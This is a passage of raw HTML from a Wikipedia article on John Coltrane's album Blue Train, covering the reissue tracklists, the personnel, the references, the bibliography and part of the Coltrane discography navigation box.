Mercer</a>, <a href=\"/wiki/Jerome_Kern\" title=\"Jerome Kern\">Jerome Kern</a></td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:58</td>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">3.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/Lazy_Bird\" title=\"Lazy Bird\">Lazy Bird</a>\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:00</td>\n</tr>\n</table>\n<h3><span class=\"mw-headline\" id=\"1997_bonus_tracks\">1997 bonus tracks</span></h3>\n<table class=\"tracklist\" style=\"display:block;border-spacing:0px;border-collapse:collapse;padding:4px\">\n<tr>\n<th class=\"tlheader\" scope=\"col\" style=\"width:2em;padding-left:10px;padding-right:10px;text-align:right;background-color:#eee\"><abbr title=\"Number\">No.</abbr></th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:60%;text-align:left;background-color:#eee\">Title</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:40%;text-align:left;background-color:#eee\">Writer(s)</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:4em;padding-right:10px;text-align:right;background-color:#eee\">Length</th>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">6.</td>\n<td style=\"vertical-align:top\">\"Blue Train\" <span style=\"font-size:85%\">(alternate take)</span></td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">9:58</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7.</td>\n<td style=\"vertical-align:top\">\"Lazy Bird\" <span style=\"font-size:85%\">(alternate take)</span></td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:12</td>\n</tr>\n</table>\n<h3><span id=\"2013_Blue_Note_SHM-CD_Remaster_Edition_.28Japan_Release.29\"></span><span class=\"mw-headline\" id=\"2013_Blue_Note_SHM-CD_Remaster_Edition_(Japan_Release)\">2013 Blue Note SHM-CD Remaster Edition (Japan Release)</span></h3>\n<table class=\"tracklist\" style=\"display:block;border-spacing:0px;border-collapse:collapse;padding:4px\">\n<tr>\n<th class=\"tlheader\" scope=\"col\" style=\"width:2em;padding-left:10px;padding-right:10px;text-align:right;background-color:#eee\"><abbr title=\"Number\">No.</abbr></th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:60%;text-align:left;background-color:#eee\">Title</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:40%;text-align:left;background-color:#eee\">Writer(s)</th>\n<th class=\"tlheader\" scope=\"col\" style=\"width:4em;padding-right:10px;text-align:right;background-color:#eee\">Length</th>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">1.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/Blue_Train_(composition)\" title=\"Blue Train (composition)\">Blue Train</a>\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">10:43</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">2.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/Moment%27s_Notice\" title=\"Moment's Notice\">Moment's Notice</a>\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">9:10</td>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">3.</td>\n<td style=\"vertical-align:top\">\"Locomotion\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:14</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">4.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/I%27m_Old_Fashioned\" title=\"I'm Old Fashioned\">I'm Old Fashioned</a>\"</td>\n<td style=\"vertical-align:top\"><a href=\"/wiki/Johnny_Mercer\" title=\"Johnny Mercer\">Johnny Mercer</a>, <a href=\"/wiki/Jerome_Kern\" title=\"Jerome Kern\">Jerome Kern</a></td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:58</td>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">5.</td>\n<td style=\"vertical-align:top\">\"<a href=\"/wiki/Lazy_Bird\" title=\"Lazy Bird\">Lazy Bird</a>\"</td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:00</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">6.</td>\n<td style=\"vertical-align:top\">\"Blue Train\" <span style=\"font-size:85%\">(Alternate Take 1)</span></td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:12</td>\n</tr>\n<tr style=\"background-color:#fff\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7.</td>\n<td style=\"vertical-align:top\">\"Blue Train\" <span style=\"font-size:85%\">(Alternate Take 2)</span></td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">9:58</td>\n</tr>\n<tr style=\"background-color:#f7f7f7\">\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">8.</td>\n<td style=\"vertical-align:top\">\"Lazy Bird\" <span style=\"font-size:85%\">(Alternate Take)</span></td>\n<td style=\"vertical-align:top\">John Coltrane</td>\n<td style=\"padding-right:10px;text-align:right;vertical-align:top\">7:12</td>\n</tr>\n</table>\n<h2><span class=\"mw-headline\" id=\"Personnel\">Personnel</span></h2>\n<ul>\n<li><a href=\"/wiki/John_Coltrane\" title=\"John Coltrane\">John Coltrane</a> – <a href=\"/wiki/Tenor_saxophone\" title=\"Tenor saxophone\">tenor saxophone</a></li>\n<li><a href=\"/wiki/Lee_Morgan\" title=\"Lee Morgan\">Lee Morgan</a> – <a href=\"/wiki/Trumpet\" title=\"Trumpet\">trumpet</a></li>\n<li><a href=\"/wiki/Curtis_Fuller\" title=\"Curtis Fuller\">Curtis Fuller</a> – <a href=\"/wiki/Trombone\" title=\"Trombone\">trombone</a></li>\n<li><a href=\"/wiki/Kenny_Drew\" title=\"Kenny Drew\">Kenny Drew</a> – <a href=\"/wiki/Piano\" title=\"Piano\">piano</a></li>\n<li><a href=\"/wiki/Paul_Chambers\" title=\"Paul Chambers\">Paul Chambers</a> – <a href=\"/wiki/Double_bass\" title=\"Double bass\">bass</a></li>\n<li><a href=\"/wiki/Philly_Joe_Jones\" title=\"Philly Joe Jones\">Philly Joe Jones</a> – <a href=\"/wiki/Drum_kit\" title=\"Drum kit\">drums</a></li>\n</ul>\n<h2><span class=\"mw-headline\" id=\"References\">References</span></h2>\n<div class=\"reflist\" style=\"list-style-type: decimal;\">\n<div class=\"mw-references-wrap\">\n<ol class=\"references\">\n<li id=\"cite_note-FOOTNOTECook2004103-1\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-FOOTNOTECook2004103_1-0\">^</a></b></span> <span class=\"reference-text\"><a href=\"#CITEREFCook2004\">Cook 2004</a>, p. 103.</span></li>\n<li id=\"cite_note-2\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-2\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.allmusic.com/album/r136902\">Blue Train</a> at <a href=\"/wiki/AllMusic\" title=\"AllMusic\">AllMusic</a></span></li>\n<li id=\"cite_note-Penguin-3\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Penguin_3-0\">^</a></b></span> <span class=\"reference-text\"><cite class=\"citation book\"><a href=\"/wiki/Richard_Cook_(journalist)\" title=\"Richard Cook (journalist)\">Cook, Richard</a>; <a href=\"/wiki/Brian_Morton_(Scottish_writer)\" title=\"Brian Morton (Scottish writer)\">Morton, Brian</a> (2008). <i>The Penguin Guide to Jazz Recordings</i> (9th ed.). <a href=\"/wiki/Penguin_Books\" title=\"Penguin Books\">Penguin</a>. p. 284. <a href=\"/wiki/International_Standard_Book_Number\" title=\"International Standard Book Number\">ISBN</a> <a href=\"/wiki/Special:BookSources/978-0-14-103401-0\" title=\"Special:BookSources/978-0-14-103401-0\">978-0-14-103401-0</a>.</cite><span title=\"ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=The+Penguin+Guide+to+Jazz+Recordings&rft.pages=284&rft.edition=9th&rft.pub=Penguin&rft.date=2008&rft.isbn=978-0-14-103401-0&rft.aulast=Cook&rft.aufirst=Richard&rft.au=Morton%2C+Brian&rfr_id=info%3Asid%2Fen.wikipedia.org%3ABlue+Train+%28album%29\" class=\"Z3988\"><span style=\"display:none;\"> </span></span></span></li>\n<li id=\"cite_note-RSJRG-4\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-RSJRG_4-0\">^</a></b></span> <span class=\"reference-text\"><cite class=\"citation book\">Swenson, J. (Editor) (1985). <i>The Rolling Stone Jazz Record Guide</i>. USA: Random House/Rolling Stone. p. 46. <a href=\"/wiki/International_Standard_Book_Number\" title=\"International Standard Book Number\">ISBN</a> <a href=\"/wiki/Special:BookSources/0-394-72643-X\" title=\"Special:BookSources/0-394-72643-X\">0-394-72643-X</a>.</cite><span title=\"ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=The+Rolling+Stone+Jazz+Record+Guide&rft.place=USA&rft.pages=46&rft.pub=Random+House%2FRolling+Stone&rft.date=1985&rft.isbn=0-394-72643-X&rft.aulast=Swenson&rft.aufirst=J.+%28Editor%29&rfr_id=info%3Asid%2Fen.wikipedia.org%3ABlue+Train+%28album%29\" class=\"Z3988\"><span style=\"display:none;\"> </span></span><span class=\"citation-comment\" style=\"display:none; color:#33aa33; margin-left:0.3em\">CS1 maint: Extra text: authors list (<a href=\"/wiki/Category:CS1_maint:_Extra_text:_authors_list\" title=\"Category:CS1 maint: Extra text: authors list\">link</a>)</span></span></li>\n<li id=\"cite_note-5\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-5\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.riaa.com/goldandplatinumdata.php?table=SEARCH\">RIAA Gold and Platinum Search retrieved August 2, 2011</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20070626000000/http://www.riaa.com/goldandplatinumdata.php?table=SEARCH\">Archived</a> June 26, 2007, at the <a href=\"/wiki/Wayback_Machine\" title=\"Wayback Machine\">Wayback Machine</a>.</span></li>\n<li id=\"cite_note-6\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-6\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.jazzdisco.org/john-coltrane/catalog/album-index/\">Jazz Discography on-line</a></span></li>\n<li id=\"cite_note-FOOTNOTEPorter1999157-7\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-FOOTNOTEPorter1999157_7-0\">^</a></b></span> <span class=\"reference-text\"><a href=\"#CITEREFPorter1999\">Porter 1999</a>, p. 157.</span></li>\n<li id=\"cite_note-FOOTNOTEPorter1999128-131-8\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-FOOTNOTEPorter1999128-131_8-0\">^</a></b></span> <span class=\"reference-text\"><a href=\"#CITEREFPorter1999\">Porter 1999</a>, pp. 128-131.</span></li>\n</ol>\n</div>\n</div>\n<h2><span class=\"mw-headline\" id=\"Bibliography\">Bibliography</span></h2>\n<ul>\n<li><cite id=\"CITEREFCook2004\" class=\"citation book\"><a href=\"/wiki/Richard_Cook_(journalist)\" title=\"Richard Cook (journalist)\">Cook, Richard</a> (May 1, 2004). <i>Blue Note Records: The Biography</i>. <a href=\"/wiki/Justin,_Charles_%26_Co.\" title=\"Justin, Charles & Co.\">Justin, Charles & Co.</a> <a href=\"/wiki/International_Standard_Book_Number\" title=\"International Standard Book Number\">ISBN</a> <a href=\"/wiki/Special:BookSources/1-932112-27-8\" title=\"Special:BookSources/1-932112-27-8\">1-932112-27-8</a>.</cite><span title=\"ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=Blue+Note+Records%3A+The+Biography&rft.pub=Justin%2C+Charles+%26+Co.&rft.date=2004-05-01&rft.isbn=1-932112-27-8&rft.aulast=Cook&rft.aufirst=Richard&rfr_id=info%3Asid%2Fen.wikipedia.org%3ABlue+Train+%28album%29\" class=\"Z3988\"><span style=\"display:none;\"> </span></span></li>\n<li><cite id=\"CITEREFPorter1999\" class=\"citation book\"><a href=\"/wiki/Lewis_Porter\" title=\"Lewis Porter\">Porter, Lewis</a> (1999). <i>John Coltrane: His Life and Music</i>. <a href=\"/wiki/Ann_Arbor,_Michigan\" title=\"Ann Arbor, Michigan\">Ann Arbor</a>: <a href=\"/wiki/The_University_of_Michigan_Press\" class=\"mw-redirect\" title=\"The University of Michigan Press\">The University of Michigan Press</a>. <a href=\"/wiki/International_Standard_Book_Number\" title=\"International Standard Book Number\">ISBN</a> <a href=\"/wiki/Special:BookSources/0-472-10161-7\" title=\"Special:BookSources/0-472-10161-7\">0-472-10161-7</a>.</cite><span title=\"ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=John+Coltrane%3A+His+Life+and+Music&rft.place=Ann+Arbor&rft.pub=The+University+of+Michigan+Press&rft.date=1999&rft.isbn=0-472-10161-7&rft.aulast=Porter&rft.aufirst=Lewis&rfr_id=info%3Asid%2Fen.wikipedia.org%3ABlue+Train+%28album%29\" class=\"Z3988\"><span style=\"display:none;\"> </span></span></li>\n</ul>\n<h2><span class=\"mw-headline\" id=\"External_links\">External links</span></h2>\n<ul>\n<li><i><a rel=\"nofollow\" class=\"external text\" href=\"https://www.discogs.com/master/32208\">Blue Train</a></i> at <a href=\"/wiki/Discogs\" title=\"Discogs\">Discogs</a> (list of releases)</li>\n</ul>\n<div role=\"navigation\" class=\"navbox\" aria-labelledby=\"John_Coltrane\" style=\"padding:3px\">\n<table class=\"nowraplinks vcard hlist collapsible autocollapse navbox-inner\" style=\"border-spacing:0;background:transparent;color:inherit\">\n<tr>\n<th scope=\"col\" class=\"navbox-title\" colspan=\"2\" style=\"background: #f4bf92;\">\n<div class=\"plainlinks hlist navbar mini\">\n<ul>\n<li class=\"nv-view\"><a href=\"/wiki/Template:John_Coltrane\" title=\"Template:John Coltrane\"><abbr title=\"View this template\" style=\";background: #f4bf92;;background:none transparent;border:none;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;\">v</abbr></a></li>\n<li class=\"nv-talk\"><a href=\"/wiki/Template_talk:John_Coltrane\" title=\"Template talk:John Coltrane\"><abbr title=\"Discuss this template\" style=\";background: #f4bf92;;background:none transparent;border:none;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;\">t</abbr></a></li>\n<li class=\"nv-edit\"><a class=\"external text\" href=\"//en.wikipedia.org/w/index.php?title=Template:John_Coltrane&action=edit\"><abbr title=\"Edit this template\" style=\";background: #f4bf92;;background:none transparent;border:none;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;\">e</abbr></a></li>\n</ul>\n</div>\n<div id=\"John_Coltrane\" class=\"fn\" style=\"font-size:114%;margin:0 4em\"><a href=\"/wiki/John_Coltrane\" title=\"John Coltrane\">John Coltrane</a></div>\n</th>\n</tr>\n<tr>\n<td class=\"navbox-abovebelow\" colspan=\"2\" style=\"background: #EEEEEE;\">\n<div><a href=\"/wiki/John_Coltrane_discography\" title=\"John Coltrane discography\">Discography</a></div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\"><a href=\"/wiki/Prestige_Records\" title=\"Prestige Records\">Prestige</a> albums</th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/Bahia_(album)\" title=\"Bahia (album)\">Bahia</a></i></li>\n<li><i><a href=\"/wiki/The_Believer_(John_Coltrane_album)\" title=\"The Believer (John Coltrane album)\">The Believer</a></i></li>\n<li><i><a href=\"/wiki/Black_Pearls\" title=\"Black Pearls\">Black Pearls</a></i></li>\n<li><i><a href=\"/wiki/The_Cats_(album)\" title=\"The Cats (album)\">The Cats</a></i></li>\n<li><i><a href=\"/wiki/Cattin%27_with_Coltrane_and_Quinichette\" title=\"Cattin' with Coltrane and Quinichette\">Cattin' with Coltrane and Quinichette</a></i></li>\n<li><i><a href=\"/wiki/Coltrane_(1957_album)\" title=\"Coltrane (1957 album)\">Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Dakar_(album)\" title=\"Dakar (album)\">Dakar</a></i></li>\n<li><i><a href=\"/wiki/Interplay_(John_Coltrane_album)\" class=\"mw-redirect\" title=\"Interplay (John Coltrane album)\">Interplay</a></i></li>\n<li><i><a href=\"/wiki/John_Coltrane_with_the_Red_Garland_Trio\" title=\"John Coltrane with the Red Garland Trio\">John Coltrane with the Red Garland Trio</a></i></li>\n<li><i><a href=\"/wiki/Kenny_Burrell_and_John_Coltrane\" class=\"mw-redirect\" title=\"Kenny Burrell and John Coltrane\">Kenny Burrell and John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/The_Last_Trane\" title=\"The Last Trane\">The Last Trane</a></i></li>\n<li><i><a href=\"/wiki/Lush_Life_(John_Coltrane_album)\" title=\"Lush Life (John Coltrane album)\">Lush Life</a></i></li>\n<li><i><a href=\"/wiki/Settin%27_the_Pace\" title=\"Settin' the Pace\">Settin' the Pace</a></i></li>\n<li><i><a href=\"/wiki/Soultrane\" title=\"Soultrane\">Soultrane</a></i></li>\n<li><i><a href=\"/wiki/Standard_Coltrane_(album)\" class=\"mw-redirect\" title=\"Standard Coltrane (album)\">Standard Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Stardust_(John_Coltrane_album)\" title=\"Stardust (John Coltrane album)\">Stardust</a></i></li>\n<li><i><a href=\"/wiki/Tenor_Conclave\" title=\"Tenor Conclave\">Tenor Conclave</a></i></li>\n<li><i><a href=\"/wiki/Two_Tenors\" title=\"Two Tenors\">Two Tenors</a></i></li>\n<li><i><a href=\"/wiki/Wheelin%27_%26_Dealin%27\" title=\"Wheelin' & Dealin'\">Wheelin' and Dealin'</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\"><a href=\"/wiki/Blue_Note_Records\" title=\"Blue Note Records\">Blue Note</a> albums</th>\n<td class=\"navbox-list navbox-even\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a class=\"mw-selflink selflink\">Blue Train</a></i></li>\n<li><i><a href=\"/wiki/Coltrane_Time\" class=\"mw-redirect\" title=\"Coltrane Time\">Coltrane Time</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\"><a href=\"/wiki/Atlantic_Records\" title=\"Atlantic Records\">Atlantic</a> albums</th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/The_Avant-Garde_(album)\" title=\"The Avant-Garde (album)\">The Avant-Garde</a></i></li>\n<li><i><a href=\"/wiki/Bags_%26_Trane\" title=\"Bags & Trane\">Bags & Trane</a></i></li>\n<li><i><a href=\"/wiki/Coltrane_Jazz\" title=\"Coltrane Jazz\">Coltrane Jazz</a></i></li>\n<li><i><a href=\"/wiki/Coltrane_Plays_the_Blues\" title=\"Coltrane Plays the Blues\">Coltrane Plays the Blues</a></i></li>\n<li><i><a href=\"/wiki/Coltrane%27s_Sound\" title=\"Coltrane's Sound\">Coltrane's Sound</a></i></li>\n<li><i><a href=\"/wiki/Giant_Steps\" title=\"Giant Steps\">Giant Steps</a></i></li>\n<li><i><a href=\"/wiki/My_Favorite_Things_(album)\" title=\"My Favorite Things (album)\">My Favorite Things</a></i></li>\n<li><i><a href=\"/wiki/Ol%C3%A9_Coltrane\" title=\"Olé Coltrane\">Olé Coltrane</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\"><a href=\"/wiki/Impulse!_Records\" title=\"Impulse! Records\">Impulse!</a> albums</th>\n<td class=\"navbox-list navbox-even\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/Africa/Brass\" title=\"Africa/Brass\">Africa/Brass</a></i></li>\n<li><i><a href=\"/wiki/Ascension_(John_Coltrane_album)\" title=\"Ascension (John Coltrane album)\">Ascension</a></i></li>\n<li><i><a href=\"/wiki/Ballads_(John_Coltrane_album)\" title=\"Ballads (John Coltrane album)\">Ballads</a></i></li>\n<li><i><a href=\"/wiki/Coltrane_(1962_album)\" title=\"Coltrane (1962 album)\">Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Cosmic_Music\" title=\"Cosmic Music\">Cosmic Music</a></i></li>\n<li><i><a href=\"/wiki/Crescent_(John_Coltrane_album)\" title=\"Crescent (John Coltrane album)\">Crescent</a></i></li>\n<li><i><a href=\"/wiki/Duke_Ellington_%26_John_Coltrane\" title=\"Duke Ellington & John Coltrane\">Duke Ellington & John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Expression_(album)\" title=\"Expression (album)\">Expression</a></i></li>\n<li><i><a href=\"/wiki/First_Meditations_(for_quartet)\" title=\"First Meditations (for quartet)\">First Meditations</a></i></li>\n<li><i><a href=\"/wiki/Impressions_(John_Coltrane_album)\" title=\"Impressions (John Coltrane album)\">Impressions</a></i></li>\n<li><i><a href=\"/wiki/John_Coltrane:_Infinity\" class=\"mw-redirect\" title=\"John Coltrane: Infinity\">Infinity</a></i></li>\n<li><i><a href=\"/wiki/Interstellar_Space\" title=\"Interstellar Space\">Interstellar Space</a></i></li>\n<li><i><a href=\"/wiki/John_Coltrane_and_Johnny_Hartman\" title=\"John Coltrane and Johnny Hartman\">John Coltrane and Johnny Hartman</a></i></li>\n<li><i><a href=\"/wiki/The_John_Coltrane_Quartet_Plays\" title=\"The John Coltrane Quartet Plays\">The John Coltrane Quartet Plays</a></i></li>\n<li><i><a href=\"/wiki/Kulu_S%C3%A9_Mama\" title=\"Kulu Sé Mama\">Kulu Sé Mama</a></i></li>\n<li><i><a href=\"/wiki/A_Love_Supreme\" title=\"A Love Supreme\">A Love Supreme</a></i></li>\n<li><i><a href=\"/wiki/Meditations_(John_Coltrane_album)\" title=\"Meditations (John Coltrane album)\">Meditations</a></i></li>\n<li><i><a href=\"/wiki/Om_(John_Coltrane_album)\" title=\"Om (John Coltrane album)\">Om</a></i></li>\n<li><i><a href=\"/wiki/Selflessness:_Featuring_My_Favorite_Things\" title=\"Selflessness: Featuring My Favorite Things\">Selflessness: Featuring My Favorite Things</a></i></li>\n<li><i><a href=\"/wiki/Stellar_Regions\" title=\"Stellar Regions\">Stellar Regions</a></i></li>\n<li><i><a href=\"/wiki/Sun_Ship\" title=\"Sun Ship\">Sun Ship</a></i></li>\n<li><i><a href=\"/wiki/Transition_(John_Coltrane_album)\" title=\"Transition (John Coltrane album)\">Transition</a></i></li>\n<li><i><a href=\"/wiki/Infinity_(John_Coltrane_album)\" title=\"Infinity (John Coltrane album)\">Infinity</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">With <a href=\"/wiki/Miles_Davis\" title=\"Miles Davis\">Miles Davis</a></th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/Miles:_The_New_Miles_Davis_Quintet\" title=\"Miles: The New Miles Davis Quintet\">Miles: The New Miles Davis Quintet</a></i></li>\n<li><i><a href=\"/wiki/Basic_Miles\" class=\"mw-redirect\" title=\"Basic Miles\">Basic Miles</a></i></li>\n<li><i><a href=\"/wiki/%27Round_About_Midnight\" title=\"'Round About Midnight\">'Round About Midnight</a></i></li>\n<li><i><a href=\"/wiki/Workin%27_with_The_Miles_Davis_Quintet\" class=\"mw-redirect\" title=\"Workin' with The Miles Davis Quintet\">Workin' with The Miles Davis Quintet</a></i></li>\n<li><i><a href=\"/wiki/Steamin%27_with_The_Miles_Davis_Quintet\" class=\"mw-redirect\" title=\"Steamin' with The Miles Davis Quintet\">Steamin' with The Miles Davis Quintet</a></i></li>\n<li><i><a href=\"/wiki/Relaxin%27_with_The_Miles_Davis_Quintet\" class=\"mw-redirect\" title=\"Relaxin' with The Miles Davis Quintet\">Relaxin' with The Miles Davis Quintet</a></i></li>\n<li><i><a href=\"/wiki/Cookin%27_with_The_Miles_Davis_Quintet\" class=\"mw-redirect\" title=\"Cookin' with The Miles Davis Quintet\">Cookin' with The Miles Davis Quintet</a></i></li>\n<li><i><a href=\"/wiki/Miles_Davis_Quintet_at_Peacock_Alley\" title=\"Miles Davis Quintet at Peacock Alley\">Miles Davis Quintet at Peacock Alley</a></i></li>\n<li><i><a href=\"/wiki/Milestones_(Miles_Davis_album)\" title=\"Milestones (Miles Davis album)\">Milestones</a></i></li>\n<li><i><a href=\"/wiki/1958_Miles\" title=\"1958 Miles\">1958 Miles</a></i></li>\n<li><i><a href=\"/wiki/Miles_%26_Monk_at_Newport\" title=\"Miles & Monk at Newport\">Miles & Monk at Newport</a></i></li>\n<li><i><a href=\"/wiki/Kind_of_Blue\" title=\"Kind of Blue\">Kind of Blue</a></i></li>\n<li><i><a href=\"/wiki/Someday_My_Prince_Will_Come_(Miles_Davis_album)\" title=\"Someday My Prince Will Come (Miles Davis album)\">Someday My Prince Will Come</a></i></li>\n<li><i><a href=\"/wiki/Jazz_at_the_Plaza_Vol._I\" title=\"Jazz at the Plaza Vol. I\">Jazz at the Plaza Vol. I</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">With <a href=\"/wiki/Ray_Draper\" title=\"Ray Draper\">Ray Draper</a></th>\n<td class=\"navbox-list navbox-even\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/The_Ray_Draper_Quintet_featuring_John_Coltrane\" title=\"The Ray Draper Quintet featuring John Coltrane\">The Ray Draper Quintet featuring John Coltrane</a></i></li>\n<li><i><a href=\"/wiki/Like_Sonny\" title=\"Like Sonny\">A Tuba Jazz</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">With <a href=\"/wiki/Wilbur_Harden\" title=\"Wilbur Harden\">Wilbur Harden</a></th>\n<td class=\"navbox-list navbox-odd\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/Mainstream_1958\" title=\"Mainstream 1958\">Mainstream 1958</a></i></li>\n<li><i><a href=\"/wiki/Jazz_Way_Out\" title=\"Jazz Way Out\">Jazz Way Out</a></i></li>\n<li><i><a href=\"/wiki/Tanganyika_Strut\" title=\"Tanganyika Strut\">Tanganyika Strut</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th scope=\"row\" class=\"navbox-group\" style=\"width:1%;background: #EEEEEE;\">With <a href=\"/wiki/Thelonious_Monk\" title=\"Thelonious Monk\">Thelonious Monk</a></th>\n<td class=\"navbox-list navbox-even\" style=\"text-align:left;border-left-width:2px;border-left-style:solid;width:100%;padding:0px\">\n<div style=\"padding:0em 0.25em\">\n<ul>\n<li><i><a href=\"/wiki/The_Complete_1957_Riverside_Recordings\" title=\"The Complete 1957 Riverside Recordings\">The Complete 1957 Riverside Recordings</a></i></li>\n<li><i><a href=\"/wiki/Thelonious_Himself\" title=\"Thelonious Himself\">Thelonious Himself</a></i></li>\n<li><i><a href=\"/wiki/Monk%27s_Music\" title=\"Monk's Music\">Monk's Music</a></i></li>\n<li><i><a href=\"/wiki/Thelonious_Monk_Quartet_with_John_Coltrane_at_Carnegie_Hall\" title=\"Thelonious Monk Quartet with John Coltrane at Carnegie Hall\">Thelonious Monk Quartet with John Coltrane at Carnegie Hall</a></i></li>\n<li><i><a href=\"/wiki/Thelonious_Monk_with_John_Coltrane\" title=\"Thelonious Monk with John Coltrane\">Thelonious Monk with John Coltrane</a></i></li>\n</ul>\n</div>\n</td>\n</tr>\n<tr>\n<th 